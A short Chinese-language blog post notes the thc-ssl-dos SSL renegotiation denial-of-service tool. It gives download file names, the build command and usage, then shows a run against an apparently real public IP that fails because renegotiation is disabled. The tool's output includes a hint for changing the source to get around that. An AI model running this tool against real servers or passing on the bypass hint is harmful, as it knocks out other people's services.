SSL renegotiation 的測試工具

續 : http://ssorc.tw/?p=1287

Quote: http://www.thc.org/thc-ssl-dos/

Download:
Windows binary: thc-ssl-dos-1.4-win-bin.zip
Unix Source   : thc-ssl-dos-1.4.tar.gz

Use "./configure; make all install" to build.

Usage:
./thc-ssl-dos 127.3.133.7 443

我測試了一下

./src/thc-ssl-dos –accept 1.34.11.212 443

Greetingz: the french underground
Waiting for script kiddies to piss off................
The force is with those who read the source...
#0 Connection timed out
Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
ERROR: Target has disabled renegotiations.
Use your own skills to modify the source to test/attack
the target [hint: TCP reconnect for every handshake].

參考
http://www.thc.org/thc-ssl-dos/
http://www.solidot.org/story?sid=34026